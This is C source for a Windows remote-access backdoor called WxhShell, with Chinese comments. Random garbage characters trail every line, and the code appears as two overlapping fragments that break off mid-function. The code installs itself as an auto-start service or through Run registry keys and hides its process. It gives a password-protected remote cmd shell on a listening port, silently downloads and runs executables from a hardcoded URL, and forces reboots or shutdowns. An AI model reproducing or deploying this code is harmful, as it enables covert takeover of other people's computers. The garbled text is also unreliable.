    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )YW"Zo8~!1  
    if(Boot(SHUTDOWN)) Wg,7k9I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pfHfw,[  
    else { n;wViw  
    closesocket(wsh); Q" r y@ (I  
    ExitThread(0); wHh6y?g\  
    } n'[>h0  
    break; 6sG5 n7E-A  
    } &hih p"  
  // 获取shell m|3 Q'  
  case 's': { 88l1g,`**  
    CmdShell(wsh); u;+8Jg+xH/  
    closesocket(wsh); RAWzQE }  
    ExitThread(0); i|m8#*Hd  
    break; 2#/23(Wc  
  } #x`K4f)  
  // 退出 |AS~sjWSJ  
  case 'x': { ae" o|Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A]ZQ?- L/  
    CloseIt(wsh); LW k/h 1  
    break; W8F@nY  
    } sR/y|  
  // 离开 $9P=  
  case 'q': { 5)A[NTNJx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .5);W;`X  
    closesocket(wsh); q;*'V9#  
    WSACleanup(); ESUO I  
    exit(1); "Mz#1Laby`  
    break; xT(0-o*  
        } e+)y6Q=  
  } A1r%cs  
  } %J Jp/I  
`vz7 }TY  
  // 提示信息 ;A4j_ 8\[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gu:vf/  
} F{^\vFp  
  } Y`d@4*FN$  
@ qi|}($  
  return; )O5@R  
} :{4C2qK>  
(H"{r  
// shell模块句柄  q*94vo-  
int CmdShell(SOCKET sock) $41<ldJ  
{ "?<(-,T  
STARTUPINFO si; vKWi?}1  
ZeroMemory(&si,sizeof(si)); o")"^@Zh i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h?v8b+:0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xu E' %;:  
PROCESS_INFORMATION ProcessInfo; g9CedD%40  
char cmdline[]="cmd"; C#e :_e]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QUaV;6 4  
  return 0; +~ Hb}0ry  
} u80C>sQ  
&*Xrh7K2e  
// 自身启动模式 w]nt_xj  
int StartFromService(void) #%F-Xsk  
{ dm]g:KWg  
typedef struct JdLPIfI^  
{ 9HEqB0|ZRu  
  DWORD ExitStatus; 7r^Cs#b+I  
  DWORD PebBaseAddress; !3iZa*  
  DWORD AffinityMask; IaQm)"Z  
  DWORD BasePriority; -2!S>P Zs  
  ULONG UniqueProcessId; :J_UXtx  
  ULONG InheritedFromUniqueProcessId; #Hz9@H  
}   PROCESS_BASIC_INFORMATION; 'CSjj@3X  
v*0J6<  
PROCNTQSIP NtQueryInformationProcess; d2V\T+=  
A+GRTwj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \4^zY'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b8Z_o N5!  
S(nQ?;9,  
  HANDLE             hProcess; 63J3NwFt  
  PROCESS_BASIC_INFORMATION pbi; t- TUP>_  
R)ZzRz|/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mj'N)6ga  
  if(NULL == hInst ) return 0; Pksr9"Ah  
!L|l(<C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e$_gOwB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +nHr+7}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B8?9L8M}  
ah f,- ?S  
  if (!NtQueryInformationProcess) return 0; kZo# Ny  
w\ 0vP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H }]Zp  
  if(!hProcess) return 0; H C,5j)1  
1h(IrV5g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4n@>gW  
uD?RL~M  
  CloseHandle(hProcess); \At~94  
QV.>Cy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $y,KDR7^  
if(hProcess==NULL) return 0; QH4m7M@ni  
#pgD-0_  
HMODULE hMod; 4M>pHz4  
char procName[255]; X lItg\R  
unsigned long cbNeeded; _>]/.w2=  
xb%Q[V_m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7w" !"W#  
vea{o 35!  
  CloseHandle(hProcess); lR7;{zlSf'  
_ Pzgn@D  
if(strstr(procName,"services")) return 1; // 以服务启动 H! 5Ka#B  
8+dsTX`|S  
  return 0; // 注册表启动 JP0a Nu  
} -^yc<%U  
fZr{x$]N0  
// 主模块 a%BC{XX  
int StartWxhshell(LPSTR lpCmdLine) 3UW`Jyd`k  
{ uL-kihV:-  
  SOCKET wsl; &=*1[j\  
BOOL val=TRUE; =,q/FY:  
  int port=0; lhJY]tQt/  
  struct sockaddr_in door; xzOvc<u  
F):kF_ho  
  if(wscfg.ws_autoins) Install(); @BjB Mi,  
WRkuPj2  
port=atoi(lpCmdLine); W( sit;O  
:h(3Ep  
if(port<=0) port=wscfg.ws_port; B Tj1C  
N0}[&rE 8  
  WSADATA data; ;<[!;8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /DH`7E  
": BZZ\!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R!7--]Wcg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <dE~z]P  
  door.sin_family = AF_INET; 0sKo NzE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ ^\{>m7  
  door.sin_port = htons(port); T+~&jC:{  
aM1WC 'c&)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qj1%'wWG  
closesocket(wsl); Lg,ObVt!  
return 1; @HB=h N  
} +PLJ  
RA!m,"RM  
  if(listen(wsl,2) == INVALID_SOCKET) { mt0v (  
closesocket(wsl); i <gt`UCO  
return 1; @ N'P?i  
} a6ryyt 5  
  Wxhshell(wsl); T,a{mi.hNR  
  WSACleanup(); ~N; dX[@BT  
Fw(  
return 0; ]AM*9!  
ws,?ImA  
} tj0 0xYY  
H|aC(c  
// 以NT服务方式启动 (zy|>u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G7,v:dlK   
{ 7b-[# g  
DWORD   status = 0; 9Z=hg[`]<  
  DWORD   specificError = 0xfffffff; }j1;0kb?  
W7~_XI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >YXb"g@.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~2 XGw9`J2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |5FEsts[  
  serviceStatus.dwWin32ExitCode     = 0; (QqeMG,Y  
  serviceStatus.dwServiceSpecificExitCode = 0; Pq35w#`!  
  serviceStatus.dwCheckPoint       = 0; q[vO mes  
  serviceStatus.dwWaitHint       = 0; S/y(1.wh  
RT'5i$q[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d^$cx(2$D  
  if (hServiceStatusHandle==0) return; GmJ \3]{PZ  
zK1\InP  
status = GetLastError(); i@WO>+iB  
  if (status!=NO_ERROR) 2uY:p=DxG9  
{ xJ:Am>%\^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]v@ng8  
    serviceStatus.dwCheckPoint       = 0; }3XjP55  
    serviceStatus.dwWaitHint       = 0; :4X,5X7tW=  
    serviceStatus.dwWin32ExitCode     = status; QjJlVlp  
    serviceStatus.dwServiceSpecificExitCode = specificError; veh=^K%G |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]5`A8-Q@  
    return; *kF/yN  
  } i>G:*?a  
rk ,64(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;UX9Em  
  serviceStatus.dwCheckPoint       = 0; }V.fY3J-  
  serviceStatus.dwWaitHint       = 0; >.C$2bW<L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r z@%rOWV  
} RiZ}cd  
Qd% (]L[N.  
// 处理NT服务事件,比如:启动、停止 cw~GH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RN1KM  
{ hhylsm  
switch(fdwControl) #\Q)7pgi.  
{ W0U|XX!&  
case SERVICE_CONTROL_STOP: F/A)2 H_  
  serviceStatus.dwWin32ExitCode = 0; P??pWzb6HH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?H!&4o  
  serviceStatus.dwCheckPoint   = 0; n Zx^ej\  
  serviceStatus.dwWaitHint     = 0; lu.xv6+  
  { w8>bct3@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U;.cXU{  
  } I|>IV  
  return; ci(BPnQ  
case SERVICE_CONTROL_PAUSE: [vY)y\W{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p"cY/2w:j  
  break; WwSyw?T  
case SERVICE_CONTROL_CONTINUE: ao2o!-?!t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GLV`IkU %  
  break; G8^b9xoA+.  
case SERVICE_CONTROL_INTERROGATE: r`u 9MJ*  
  break; ! c~3`7v  
}; Z,XivU&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); flBJO.2  
} #^i+'Z=L  
j}jU.\*v<  
// 标准应用程序主函数 +'` ^ N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {=R vFA  
{ b_~KtMO  
' e x/IqbK  
// 获取操作系统版本 T[0CD'|E  
OsIsNt=GetOsVer(); l$!NEOK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =<= [E:B  
)In;nc  
  // 从命令行安装 G jrN1+9=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?f:\&+.&  
j=>WWlZ  
  // 下载执行文件 dwzk+@]8  
if(wscfg.ws_downexe) { V+*1?5w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kwt;pxp i  
  WinExec(wscfg.ws_filenam,SW_HIDE); )OGO wStz  
} "bO]AG  
F20%r 0  
if(!OsIsNt) { L#IY6t  
// 如果时win9x,隐藏进程并且设置为注册表启动 8Waic&lX~  
HideProc(); Z>@\!$Mc  
StartWxhshell(lpCmdLine); 6X VJ/qZ  
} u`*$EP-%  
else c/3]M>+M  
  if(StartFromService()) ?* dfIc  
  // 以服务方式启动 $~A\l@xAG  
  StartServiceCtrlDispatcher(DispatchTable); e7U9"pk  
else gp{P _  
  // 普通方式启动 mA3yM#  
  StartWxhshell(lpCmdLine); etP`q:6^c  
FFF7f5F  
return 0; N9f;X{  
} Ahg6>7+R.  
kRzqgVr%  
QO,ge<N+N  
.7#04_aP  
=========================================== =OA7$z[  
LA837%)  
C9T- 4o1  
jRjQDK_"ka  
Rmh,P>  
L w/ZKXDU2  
" :4238J8  
8ax3"G  
#include <stdio.h> 'DH_ihZ  
#include <string.h> nZS*"O#L  
#include <windows.h> g[xn0 rG  
#include <winsock2.h> y {Mh ?H  
#include <winsvc.h> $4TawFf"nc  
#include <urlmon.h> KH1/B_.\V  
X@B,w_b  
#pragma comment (lib, "Ws2_32.lib") @j4~`~8  
#pragma comment (lib, "urlmon.lib") !r0 z3^*N  
/lvH p  
#define MAX_USER   100 // 最大客户端连接数 U C9w T  
#define BUF_SOCK   200 // sock buffer W}oAgUd  
#define KEY_BUFF   255 // 输入 buffer VoUAFEcs  
X_I.f6v{  
#define REBOOT     0   // 重启 #+P)X_i`  
#define SHUTDOWN   1   // 关机 ?DJ,YY9P  
s|8_R;  
#define DEF_PORT   5000 // 监听端口 x"PMi[4  
&nF7CCF  
#define REG_LEN     16   // 注册表键长度 C  F<  
#define SVC_LEN     80   // NT服务名长度 d4-cZw}+  
 _$4vk  
// 从dll定义API /E6 Tt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "{(4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); + f?xVW<h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gMZ?MG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4,R1}.?BzJ  
7Y'.yn  
// wxhshell配置信息 ;0\  
struct WSCFG { j2{ '!  
  int ws_port;         // 监听端口 v~HfA)#JK  
  char ws_passstr[REG_LEN]; // 口令 -U_<:  
  int ws_autoins;       // 安装标记, 1=yes 0=no YJrZ  
  char ws_regname[REG_LEN]; // 注册表键名 X?.LA7)CK  
  char ws_svcname[REG_LEN]; // 服务名 E|^~R}z)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1 Xu^pc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %(wa~:m+S-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s|&2QG0'7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mh`VZQ@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v~>4c<eG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #9Dixsl*Q  
}u..m$h  
}; 3&JsYQu  
rru `% ~'O  
// default Wxhshell configuration X'>]z'0W  
struct WSCFG wscfg={DEF_PORT, 7:T 5P  
    "xuhuanlingzhe", ;zvg]  %  
    1, =Wk!mGc  
    "Wxhshell", u7<s_M3%N  
    "Wxhshell", hu qQ0  
            "WxhShell Service", pfvNVu  
    "Wrsky Windows CmdShell Service", /F 1mYq~  
    "Please Input Your Password: ", }mw31=2bD  
  1, C_Z[ul  
  "http://www.wrsky.com/wxhshell.exe", X\1'd,V  
  "Wxhshell.exe"  i'9  
    }; e[8p/hId  
"^ cn9AG{  
// 消息定义模块 j^~WAWbFh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %@jv\J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SQbnn"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yN~: 3  
char *msg_ws_ext="\n\rExit."; Lw.N3!e[  
char *msg_ws_end="\n\rQuit."; '4qi^$|\  
char *msg_ws_boot="\n\rReboot..."; E8Wgm 8  
char *msg_ws_poff="\n\rShutdown..."; )f0t"lk  
char *msg_ws_down="\n\rSave to "; !Hr +|HKQ?  
-3c?Yaf"  
char *msg_ws_err="\n\rErr!"; 5fBW#6N/  
char *msg_ws_ok="\n\rOK!"; z|SLH<~  
R3$e q )  
char ExeFile[MAX_PATH]; 2$? )VXtw  
int nUser = 0; +x0-hRD  
HANDLE handles[MAX_USER]; ]E)gMf   
int OsIsNt; 2FS,B\d  
;wz YZ5=Di  
SERVICE_STATUS       serviceStatus; CxtH?9# |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %-:6#b z  
8P'>%G<m  
// 函数声明 Piz/vH6M}  
int Install(void); vf(\?Js ,  
int Uninstall(void); kqA`d  
int DownloadFile(char *sURL, SOCKET wsh); _>*$%R  
int Boot(int flag); A_@#V)D2  
void HideProc(void); . \fzK  
int GetOsVer(void); E-i rB/0  
int Wxhshell(SOCKET wsl); I=pT fkTT  
void TalkWithClient(void *cs); {j E}mzi  
int CmdShell(SOCKET sock); B;':Eaa@  
int StartFromService(void); R '/Ilz`  
int StartWxhshell(LPSTR lpCmdLine); }45&s9m=  
F/}PN1#T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` oYrW0Vm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ' 7>V4\"  
PhM3?$  
// 数据结构和表定义 nK6{_Y>  
SERVICE_TABLE_ENTRY DispatchTable[] = :nw4K(:f  
{ avk0pY(n  
{wscfg.ws_svcname, NTServiceMain}, W!z=AL{  
{NULL, NULL} y)!K@  
}; 810u +%fu  
t1.5hsp  
// 自我安装 NQ%lwE~  
int Install(void) qMz0R\4  
{ z&d&Ky  
  char svExeFile[MAX_PATH]; V4Ql6vg_f  
  HKEY key; H5=-b@(  
  strcpy(svExeFile,ExeFile); q=E<y  
jO$3>q  
// 如果是win9x系统,修改注册表设为自启动 \?)<==^  
if(!OsIsNt) { Pd\S{ Y~wk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F\&R nDJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &}%3yrU  
  RegCloseKey(key); B}YB%P_CWs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z}N=Oe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _y),C   
  RegCloseKey(key); p}}o#a~V),  
  return 0; icHc!m?  
    } QE$sXP7 &u  
  } y%\kgWV  
} HkEfBQmh  
else { _Y*]'?g`  
Q5/".x^@  
// 如果是NT以上系统,安装为系统服务 2bfKD'!aH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4?,N;Q  
if (schSCManager!=0) +=^10D  
{ 'cT R<LVo  
  SC_HANDLE schService = CreateService 3ePG=^K^  
  ( L*1C2EL/q  
  schSCManager, `(EY/EsY  
  wscfg.ws_svcname,  &jf:7y  
  wscfg.ws_svcdisp, ~k4S~!(U0  
  SERVICE_ALL_ACCESS, Y:/z)"u,C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SV}I+O_w  
  SERVICE_AUTO_START, W :jC2,s!m  
  SERVICE_ERROR_NORMAL, WeE>4>^  
  svExeFile, Y+sycdq  
  NULL, c63DuHA*C  
  NULL, F%t`dz!L  
  NULL, r+;op_  
  NULL, c Q|nL  
  NULL DnP>ed"M!  
  ); a&p|>,WS  
  if (schService!=0) tD.md _E  
  { 5EIh5Y EU>  
  CloseServiceHandle(schService); ^c!"*L0E  
  CloseServiceHandle(schSCManager); (5re'Pl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pog*}@ OS  
  strcat(svExeFile,wscfg.ws_svcname); KE`}P<K&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]4yWcnf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _JiB=<Fkr  
  RegCloseKey(key); 'q8T*|/  
  return 0; uMtq4.  
    } `[w:l[i  
  } A$Mmnu%  
  CloseServiceHandle(schSCManager); 2}[)y\`t3  
} vZmM=hW~  
} U|={LU  
#)2'I`_E  
return 1; Lk6UT)C  
} f3]Z22Yq  
I1S*=^Z_U  
// 自我卸载 DDyeN uK  
int Uninstall(void) V.6h6B!vB  
{ p@y?xZS  
  HKEY key; 9H$#c_zrq  
oEd+  
if(!OsIsNt) { [*Nuw_l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VChNDHiH  
  RegDeleteValue(key,wscfg.ws_regname); )"2)r{7:  
  RegCloseKey(key); U@!e&QPn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +LCpE$H  
  RegDeleteValue(key,wscfg.ws_regname); nc!P !M  
  RegCloseKey(key); o nt8q8  
  return 0; D$+9`  
  } T$)&8"Xya  
} +6-c<m|  
} nxkbI:+t  
else { $a>,sL&;  
+*]"Yo~]}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D.9qxM"Z>  
if (schSCManager!=0) }eetx68\  
{ 4R0'$Ld4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fwK5p?Xhm  
  if (schService!=0) 8e:J{EG~  
  { [QEV6 S]  
  if(DeleteService(schService)!=0) { `+[Ct08  
  CloseServiceHandle(schService); Z1 %"w*U  
  CloseServiceHandle(schSCManager); $' }rBPA/  
  return 0; -'r4@='6}  
  } :3J, t//c  
  CloseServiceHandle(schService); @9lV~,,U  
  } 9AO`Zk{/Ez  
  CloseServiceHandle(schSCManager); &#^^UT(nj  
} /]zn8 d  
} j\iE3:94$  
bfcQ(m5  
return 1; +sq'\Tbp  
} byoP1F%  
v% 6uU  
// 从指定url下载文件 3DRJl, v  
int DownloadFile(char *sURL, SOCKET wsh) AI0YK"c?  
{ 7yM=$"'d  
  HRESULT hr; ~(OG3`W!  
char seps[]= "/"; {Z0(V"Q  
char *token; Yl4XgjG  
char *file; Is1P,`*!  
char myURL[MAX_PATH]; ^)oBa=jL4  
char myFILE[MAX_PATH]; Cp4 U`]  
i x2V?\  
strcpy(myURL,sURL); `Y>'*4a\  
  token=strtok(myURL,seps); :}'5'oVG  
  while(token!=NULL) vqO d`_)  
  { KT$Za  
    file=token; R8LJC]6Bh  
  token=strtok(NULL,seps); ovm109fTx  
  } fUj[E0yOF  
dt&m YSZ}  
GetCurrentDirectory(MAX_PATH,myFILE); n-zAkKM  
strcat(myFILE, "\\"); T%74JRQ  
strcat(myFILE, file); ~(i#A>   
  send(wsh,myFILE,strlen(myFILE),0); O(x1Ja,&  
send(wsh,"...",3,0); }huj%Pnk )  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3-x ;_  
  if(hr==S_OK) B' }h6ZH  
return 0; 9U~fc U6  
else U )kl !  
return 1; 8J|2b; Vf  
Nz/PAs7g6  
} JBqL0H  
Qw>~] d,Z  
// 系统电源模块 c12mT(+-  
int Boot(int flag) NxY B)`~  
{ >TI/W~M  
  HANDLE hToken; r@")MOGc  
  TOKEN_PRIVILEGES tkp; 6mp8v`b  
#+CH0Z  
  if(OsIsNt) { sg YPR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gOiZ8K!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZHu"& &  
    tkp.PrivilegeCount = 1; >b\{y}[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Iwl\x[A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3yGo{uW  
if(flag==REBOOT) { qzon);#7w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T.bn~Z#f  
  return 0; x[u4>f  
} hTfq>jIB_  
else { Q1kZ+b&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (\8IgQ{  
  return 0; (KG2X  
} To/6=$wto  
  } x%h4'Sm  
  else { W%ml/ 4  
if(flag==REBOOT) { 6roq 1=   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O>R@Xj)M  
  return 0; K HyVI6N[  
} P^(uS'j)+  
else { \_io:{M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _oz1'}=  
  return 0; d1jg3{pwA  
} ql/K$#u  
} )6 U6~!k  
J:Mn 5hdK=  
return 1; >c`r&W.t  
} i.Rxx, *?  
pyUzHF0  
// win9x进程隐藏模块 Fs$mLa  
void HideProc(void) B:)PUBb  
{ P5Bva  
pTB1I3=.u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); , wXixf2  
  if ( hKernel != NULL ) H 0( .p'eN  
  { xig4H7V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q$7w?(Lk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V36u%zdX5n  
    FreeLibrary(hKernel); [_T6  
  } i/{dD"HwM  
h 8<s(WR  
return; P*|qbY  
} y3XR:d1cg  
xiv8q/  
// 获取操作系统版本 Vp$<@Y  
int GetOsVer(void) /np05XhEa  
{ .(^%M 2:6  
  OSVERSIONINFO winfo; vRkVPkZ6|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V~#8lu7;  
  GetVersionEx(&winfo); y$Fk0s*>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]qb>O:T  
  return 1; ajCe&+  
  else !L[$t~z  
  return 0; 8B?*?,n5  
} %45*DT  
we0haK  
// 客户端句柄模块 ke<l@w O  
int Wxhshell(SOCKET wsl) y_``-F&Z  
{ RH9P$;.7  
  SOCKET wsh; \E {'|  
  struct sockaddr_in client; g& ou[_A  
  DWORD myID; /Qu<>#[?  
L,yq'>*5s  
  while(nUser<MAX_USER) (I/ZI'Ydy  
{ U(+%iD60i  
  int nSize=sizeof(client); g '+2bQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zYxA#TZL  
  if(wsh==INVALID_SOCKET) return 1; BN&eU'Dl]  
! FVD_8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RD6>\9  
if(handles[nUser]==0) x.9[c m-!  
  closesocket(wsh); yxtfyf|9 '  
else I!"/I8Y  
  nUser++; 6&"*{E  
  } i"0*)$ h W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |w"G4J6ha  
=}" P;4:  
  return 0; nt%fJ k  
} !a4`SjOgu  
')T*cLQ><  
// 关闭 socket ]`q]\EH  
void CloseIt(SOCKET wsh) %!7A" >ai  
{ ^S`N\X  
closesocket(wsh); zh{I;~syh  
nUser--; (M?VB*sm0  
ExitThread(0); ov5g`uud  
} \#v(f2jPF  
*:% I|5  
// 客户端请求句柄 Z,-J tl  
void TalkWithClient(void *cs) ol1J1Zg  
{ x*!*2{  
Y .E.(\  
  SOCKET wsh=(SOCKET)cs; ]DUmp6  
  char pwd[SVC_LEN]; y1h3Ch>Y  
  char cmd[KEY_BUFF]; HHerL%/   
char chr[1]; hWiHKR]  
int i,j; e<{waJ1  
l\"CHwN?Y  
  while (nUser < MAX_USER) { ?e%u[Q0  
8M0<:p/  
if(wscfg.ws_passstr) { \qDY0hIv t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mr*CJgy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SBaTbY0  
  //ZeroMemory(pwd,KEY_BUFF); dUBf.2 ry  
      i=0; CD. XZA[  
  while(i<SVC_LEN) { wHZ(=z/q  
kT%m`  
  // 设置超时 [s+FX5'K  
  fd_set FdRead; :j#zn~7  
  struct timeval TimeOut; *Z+U}QhHD6  
  FD_ZERO(&FdRead); , {}S<^?]  
  FD_SET(wsh,&FdRead); |kF"p~s  
  TimeOut.tv_sec=8; T2A74>Nw  
  TimeOut.tv_usec=0; 8 .&P4u i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /!_FE+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =eR#]d  
.zy2_3:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /uPMzl  
  pwd=chr[0]; v+i==vxg  
  if(chr[0]==0xd || chr[0]==0xa) { ?k=)T]-}  
  pwd=0; YkQ=rurE  
  break; 'JO}6 ;W  
  } |fb*<o eT  
  i++; *&5./WEOH  
    } E*yot[kj  
k!T-X2L=  
  // 如果是非法用户,关闭 socket g2vt(Gf;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mC$ te  
} ?es9j]  
/GO((v+J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qP+%ui5xR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =y^ g*9}_  
S/yBr`  
while(1) { +O1=Ao  
#4AqWyp#f  
  ZeroMemory(cmd,KEY_BUFF); ivSpi?   
?btX&:j2P  
      // 自动支持客户端 telnet标准   vos-[$  
  j=0; ZSB;4 ?:h  
  while(j<KEY_BUFF) { fc<,kRp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OTEx9  
  cmd[j]=chr[0]; j'XND`3  
  if(chr[0]==0xa || chr[0]==0xd) { w[uw hd  
  cmd[j]=0; 1`1Jn*|TI  
  break; lrgvY>E0  
  } /GA-1cS_(  
  j++; "Z"`X3,-z  
    }  "2 }n(8  
AY]rQ:I  
  // 下载文件 )LL.fPic  
  if(strstr(cmd,"http://")) { ;`Sn66&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?U,XyxN  
  if(DownloadFile(cmd,wsh)) [C3wjYi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U9Lo0K  
  else tbB.n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t?p>L*  
  } +p-S36K~,7  
  else { '<wZe.Q!  
kqCUr|M.P  
    switch(cmd[0]) { CelM~W$=u  
